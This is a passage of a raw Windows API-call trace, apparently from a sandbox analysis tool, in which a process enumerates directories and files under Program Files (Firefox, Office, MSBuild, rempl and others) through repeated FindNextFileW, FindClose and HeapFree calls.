cAlternateFileName="")) returned 1 [0081.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.583] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 1 [0081.583] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.583] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e299a0e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QSIGNOFF", cAlternateFileName="")) returned 0 [0081.583] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0081.583] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0081.583] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e273816, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e299a0e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e299a0e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERRORREP", cAlternateFileName="")) returned 0 [0081.584] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0081.584] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.585] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 1 [0081.585] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.585] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b285e60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b285e60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHELLNEW", cAlternateFileName="")) returned 0 [0081.585] FindClose (in: hFindFile=0x582f88 | out: hFindFile=0x582f88) returned 1 [0081.585] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.585] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0081.585] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0081.585] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0081.587] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VFS", cAlternateFileName="")) returned 0 [0081.587] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0081.588] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0081.588] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 0 [0081.588] FindClose (in: hFindFile=0x582e08 | out: hFindFile=0x582e08) returned 1 [0081.588] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0081.588] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e68d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c93b995, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c93b995, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office 15", cAlternateFileName="MICROS~1")) returned 1 [0081.588] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0081.588] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dc8100, ftCreationTime.dwHighDateTime=0x1d557e7, ftLastAccessTime.dwLowDateTime=0x6d997ee0, ftLastAccessTime.dwHighDateTime=0x1d57de0, ftLastWriteTime.dwLowDateTime=0x6d997ee0, ftLastWriteTime.dwHighDateTime=0x1d57de0, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 1 [0081.588] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0081.588] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xe99e772e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3c8c92bc, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c8c92bc, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0082.080] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.080] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd77219, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xedb1a83d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xedb1a83d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="features", cAlternateFileName="")) returned 1 [0082.082] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.082] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdc36bc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecdc36bc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x20853ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0082.082] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.082] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xece35df2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xed7d339e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xed7d339e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VisualElements", cAlternateFileName="VISUAL~1")) returned 0 [0082.082] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0082.082] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.082] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec033d59, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec033d59, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe2ca280, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1 [0082.083] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.083] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecc92398, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xeccb8639, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xeccb8639, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pref", cAlternateFileName="")) returned 0 [0082.083] FindClose (in: hFindFile=0x5830c8 | out: hFindFile=0x5830c8) returned 1 [0082.083] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.083] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0a647c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0a647c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4504b780, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1 [0082.083] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.083] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec0cc6d9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec0cc6d9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x767d8300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x7cdd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1 [0082.083] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.083] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec118bb8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec118bb8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x77aeb000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.chk", cAlternateFileName="")) returned 1 [0082.084] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.084] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="0.1", cAlternateFileName="")) returned 0 [0082.084] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0082.084] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.084] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1 [0082.085] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.085] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1 [0082.085] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0082.086] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3c93b995, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c93b995, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0082.088] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0082.088] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0082.088] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0082.088] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0082.088] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0082.088] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.088] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0082.088] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0082.088] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.089] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e86260, ftCreationTime.dwHighDateTime=0x1d56fb7, ftLastAccessTime.dwLowDateTime=0x89163940, ftLastAccessTime.dwHighDateTime=0x1d57c84, ftLastWriteTime.dwLowDateTime=0x89163940, ftLastWriteTime.dwHighDateTime=0x1d57c84, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0082.089] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0082.090] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0x3c961c35, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3c961c35, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0082.093] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.093] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9093563c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df28692, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x6df4e8ff, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x63000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0082.094] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0082.094] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0082.096] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.096] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51ee72a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51ee72a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0082.097] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0082.097] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0082.097] FindClose (in: hFindFile=0x583108 | out: hFindFile=0x583108) returned 1 [0082.098] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.099] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe795770f, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0082.099] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0082.099] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.099] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x761de1e0, ftCreationTime.dwHighDateTime=0x1d56f59, ftLastAccessTime.dwLowDateTime=0x5c4cdfd0, ftLastAccessTime.dwHighDateTime=0x1d5b35d, ftLastWriteTime.dwLowDateTime=0x5c4cdfd0, ftLastWriteTime.dwHighDateTime=0x1d5b35d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1 [0082.100] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0082.100] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x59f2f4b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3b0d68fa, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b0d68fa, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="rempl", cAlternateFileName="")) returned 1 [0082.103] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.103] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76938800, ftCreationTime.dwHighDateTime=0x1d2e919, ftLastAccessTime.dwLowDateTime=0x59f55710, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x76938800, ftLastWriteTime.dwHighDateTime=0x1d2e919, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rempl.xml", cAlternateFileName="")) returned 1 [0082.103] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0082.103] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd2709a20, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x3ca6cdb8, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3ca6cdb8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0082.103] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0082.103] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4c509d45, ftCreationTime.dwHighDateTime=0x1d32723, 